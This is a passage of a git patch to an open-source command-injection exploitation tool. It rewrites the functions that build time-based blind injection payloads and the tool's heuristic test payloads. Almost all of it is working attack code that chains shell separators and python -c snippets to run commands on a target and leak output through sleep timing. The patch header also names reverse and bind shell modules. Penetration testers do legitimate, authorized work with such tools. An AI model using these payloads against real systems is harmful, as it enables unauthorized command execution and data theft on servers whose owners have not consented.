print(len(file.read().strip()))\"" if separator == "||" : pipe = "|" payload = (pipe + " " @@ -136,24 +136,24 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque else: if separator == ";" : payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + "if [ " + str(j) + " -ne ${str1} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -161,12 +161,12 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -174,10 +174,10 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque elif separator == "||" : pipe = "|" payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\")" + " " # Find the length of the output, using readline(). - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) else: pass @@ -188,7 +188,9 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -243,7 +245,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # Find the length of the output. "str1=$(expr length \"$str\")" + separator + #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0 " + separator + "else sleep " + str(timesec) + separator + # Transform to ASCII @@ -261,7 +263,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth # Find the length of the output. "str1=$(expr length \"$str\")" + separator + #"str1=${%23str}" + separator + - "if [ " + str(j) + " != ${str1} ]" + separator + + "if [ " + str(j) + " -ne ${str1} ]" + separator + "then sleep 0 " + separator + "else sleep " + str(timesec) + separator + # Transform to ASCII @@ -308,7 +310,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth """ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print len(file.read().strip())\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" if separator == "||" : pipe = "|" payload = (pipe + @@ -339,24 +341,24 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ else: if separator == ";" : payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "if [ " + str(j) + " -ne ${str1} ] " + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\")" + separator + - "if [ " + str(j) + " != ${str1} ] " + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\")" + separator + + "if [ " + str(j) + " -ne ${str1} ] " + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -364,12 +366,12 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + separator + # Find the length of the output, using readline(). - "str1=$(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + + "str1=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") " + separator + "[ " + str(j) + " -eq ${str1} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\") " + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\") " ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -377,9 +379,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ elif separator == "||" : pipe = "|" payload = (pipe + - "$(python -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " - "[ " + str(j) + " -ne $(python -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print len(file.readline())\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('$(echo $(" + cmd + "))')\nf.close()\n\")" + " " + "[ " + str(j) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open(\'" + OUTPUT_TEXTFILE + "\') as file: print(len(file.readline()))\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -390,7 +392,9 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -422,7 +426,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -433,7 +437,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http payload = (separator + # Use space as delimiter "str=$(cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -473,7 +477,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http """ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print ord(file.read().strip()[" + str(num_of_chars - 1) + "][0]); exit(0)\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" if separator == "||" : pipe = "|" payload = (pipe + " " @@ -496,20 +500,20 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t else: if separator == ";" : payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -517,10 +521,10 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\")" + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -528,8 +532,8 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print ord(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" +str(num_of_chars-1)+ "]))\nexit(0)\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -539,7 +543,9 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n", ";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload """ @@ -572,7 +578,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth if separator == ";" : payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -582,7 +588,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth #separator = "\n" payload = (separator + "str=$(cut -c1-2 " + OUTPUT_TEXTFILE + ")" + separator + - "if [ " + str(ord(str(ascii_char))) + " != ${str} ]" + separator + + "if [ " + str(ord(str(ascii_char))) + " -ne ${str} ]" + separator + "then sleep 0" + separator + "else sleep " + str(timesec) + separator + "fi " @@ -616,7 +622,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth """ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == "win": - python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print file.readlines()[0][" + str(num_of_chars - 1) + "]; exit(0)\"" + python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" if separator == "||" : pipe = "|" payload = (pipe + " " @@ -639,20 +645,20 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: if separator == ";" : payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) elif separator == "%0a" : #separator = "\n" payload = (separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\")" + separator + - "if [ " + str(ascii_char) + " != ${str} ]" + separator + - "then $(python -c \"import time\ntime.sleep(0)\")" + separator + - "else $(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\")" + separator + + "if [ " + str(ascii_char) + " -ne ${str} ]" + separator + + "then $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + separator + + "else $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + separator + "fi " ) @@ -660,10 +666,10 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, separator = _urllib.parse.quote(separator) ampersand = _urllib.parse.quote("&") payload = (ampersand + - "$(python -c \"import time\ntime.sleep(0)\") " + separator + - "str=$(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\") " + separator + + "str=$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") " + separator + "[ " + str(ascii_char) + " -eq ${str} ] " + separator + - "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) #if menu.options.data: separator = _urllib.parse.unquote(separator) @@ -671,8 +677,8 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, elif separator == "||" : pipe = "|" payload = (pipe + - "[ " + str(ascii_char) + " -ne $(python -c \"with open('" +OUTPUT_TEXTFILE+ "') as file: print file.readlines()[0][" +str(num_of_chars-1)+ "]\nexit(0)\") ] " + separator + - "$(python -c \"import time\ntime.sleep(0)\")" + pipe + "$(python -c \"import time\ntime.sleep(" + str(timesec) + ")\")" + "[ " + str(ascii_char) + " -ne $(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" +str(num_of_chars-1)+ "])\nexit(0)\") ] " + separator + + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(0)\")" + pipe + "$(" + settings.LINUX_PYTHON_INTERPRETER + " -c \"import time\ntime.sleep(" + str(timesec) + ")\")" ) else: pass @@ -683,7 +689,9 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, settings.HOST_INJECTION == True or \ settings.CUSTOM_HEADER_INJECTION == True: payload = payload.replace("\n",";") - + else: + if settings.TARGET_OS != "win": + payload = payload.replace("\n","%0d") return payload # eof \ No newline at end of file diff --git a/src/core/main.py b/src/core/main.py index 2613efc0cb..6765d681cf 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -130,7 +130,6 @@ def check_custom_injection_marker(url): print(settings.print_error_msg(err_msg)) pass - """ Define HTTP User-Agent header. """ @@ -483,13 +482,6 @@ def main(filename, url): if not menu.options.tech: menu.options.tech = "".join(settings.AVAILABLE_TECHNIQUES) - # Check if specified wrong alternative shell - if menu.options.alter_shell: - if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: - err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" - print(settings.print_critical_msg(err_msg)) - raise SystemExit() - # Check the file-destination if menu.options.file_write and not menu.options.file_dest or \ menu.options.file_upload and not menu.options.file_dest: @@ -606,6 +598,13 @@ def main(filename, url): if settings.STABLE_RELEASE == False: common.days_from_last_update() + # Check if specified wrong alternative shell + if menu.options.alter_shell: + if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: + err_msg = "'" + menu.options.alter_shell + "' shell is not supported!" + print(settings.print_critical_msg(err_msg)) + raise SystemExit() + # Define the level of verbosity. if menu.options.verbose > 4: err_msg = "The value for option '-v' " diff --git a/src/utils/settings.py b/src/utils/settings.py index 4526e71893..65ca93ef3c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -234,7 +234,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "76" +REVISION = "77" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -273,12 +273,25 @@ def sys_argv_errors(): INJECT_TAG_REGEX = r"(?i)INJECT[_]?HERE" VALUE_BOUNDARIES = r'[\\/](.+?)[\\/]' +# Default (windows) target host's python interpreter +WIN_PYTHON_INTERPRETER = "python.exe" +USER_DEFINED_PYTHON_DIR = False + +# Default (linux) target host's python interpreter +LINUX_PYTHON_INTERPRETER = "python3" +USER_DEFINED_PYTHON_INTERPRETER = False + #Basic heuristic checks for command injections RAND_A = random.randint(1,10000) RAND_B = random.randint(1,10000) -BASIC_STRING = str(RAND_A) + "+" + str(RAND_B) -BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $((" + BASIC_STRING + "))&&echo $((" + BASIC_STRING + "))||echo $((" + BASIC_STRING + "))", - "|set /a (" + BASIC_STRING + ")&set /a (" + BASIC_STRING + ")" +CALC_STRING = str(RAND_A) + "+" + str(RAND_B) +BASIC_STRING = "(" + CALC_STRING + ")" +BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + BASIC_STRING + ")&&echo $(" + BASIC_STRING + ")||echo $(" + BASIC_STRING + ")", + "|set /a " + BASIC_STRING + "&set /a " + BASIC_STRING + ] +ALTER_SHELL_BASIC_STRING = " -c \"print(int(" + CALC_STRING + "))\"" +ALTER_SHELL_BASIC_COMMAND_INJECTION_PAYLOADS = [";echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")&&echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")||echo $(" + LINUX_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + ")", + "|for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p =%i< nul &for /f \"tokens=*\" %i in ('cmd /c " + WIN_PYTHON_INTERPRETER + ALTER_SHELL_BASIC_STRING + "') do @set /p =%i< nul" ] BASIC_COMMAND_INJECTION_RESULT = str(RAND_A + RAND_B) IDENTIFIED_COMMAND_INJECTION = False @@ -877,14 +890,6 @@ def sys_argv_errors(): # Ignore Error Message IGNORE_ERR_MSG = False -# Default (windows) target host's python interpreter -WIN_PYTHON_INTERPRETER = "python.exe" -USER_DEFINED_PYTHON_DIR = False - -# Default (linux) target host's python interpreter -LINUX_PYTHON_INTERPRETER = "python3" -USER_DEFINED_PYTHON_INTERPRETER = False - # Windows PHP installed directory. WIN_PHP_DIR = "C:\\xampp\\php\\php.exe" USER_DEFINED_PHP_DIR = False From 40eea73a1aea866f06defe942e5a71222a765c2b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 7 Jun 2022 07:36:03 +0300 Subject: [PATCH 154/560] Multiple fixes and updated --- .../techniques/time_based/tb_enumeration.py | 319 +++++++-------- .../techniques/time_based/tb_file_access.py | 21 +- .../blind/techniques/time_based/tb_handler.py | 150 ++++--- .../techniques/time_based/tb_injector.py | 82 +--- src/core/injections/controller/checks.py | 70 ++-- src/core/injections/controller/controller.py | 13 +- .../techniques/classic/cb_enumeration.py | 247 +++++------- .../techniques/classic/cb_file_access.py | 19 +- .../techniques/classic/cb_handler.py | 129 +++--- .../techniques/eval_based/eb_enumeration.py | 264 ++++++------ .../techniques/eval_based/eb_file_access.py | 19 +- .../techniques/eval_based/eb_handler.py | 126 +++--- .../techniques/file_based/fb_enumeration.py | 270 +++++-------- .../techniques/file_based/fb_file_access.py | 19 +- .../techniques/file_based/fb_handler.py | 71 ++-- .../tempfile_based/tfb_enumeration.py | 347 ++++++++-------- .../tempfile_based/tfb_file_access.py | 20 +- .../techniques/tempfile_based/tfb_handler.py | 103 ++--- .../techniques/tempfile_based/tfb_injector.py | 88 +--- src/core/main.py | 4 +- src/core/modules/shellshock/shellshock.py | 376 +++++++++--------- src/core/requests/parameters.py | 2 +- src/core/requests/requests.py | 4 +- src/core/shells/bind_tcp.py | 45 +-- src/core/shells/reverse_tcp.py | 73 ++-- src/core/tamper/backslashes.py | 2 +- src/core/tamper/backticks.py | 2 +- src/core/tamper/dollaratsigns.py | 2 +- src/core/tamper/doublequotes.py | 2 +- src/core/tamper/nested.py | 2 +- src/core/tamper/singlequotes.py | 2 +- src/core/tamper/slash2env.py | 2 +- src/core/tamper/sleep2timeout.py | 2 +- src/core/tamper/sleep2usleep.py | 2 +- src/core/tamper/space2ifs.py | 2 +- src/core/tamper/uninitializedvariable.py | 2 +- src/utils/common.py | 72 ++-- src/utils/menu.py | 72 ++-- src/utils/session_handler.py | 6 +- src/utils/settings.py | 14 +- 40 files changed, 1331 insertions(+), 1736 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_enumeration.py b/src/core/injections/blind/techniques/time_based/tb_enumeration.py index dbc3b54eee..7db7f2f3cf 100755 --- a/src/core/injections/blind/techniques/time_based/tb_enumeration.py +++ b/src/core/injections/blind/techniques/time_based/tb_enumeration.py @@ -16,7 +16,6 @@ import re import sys from 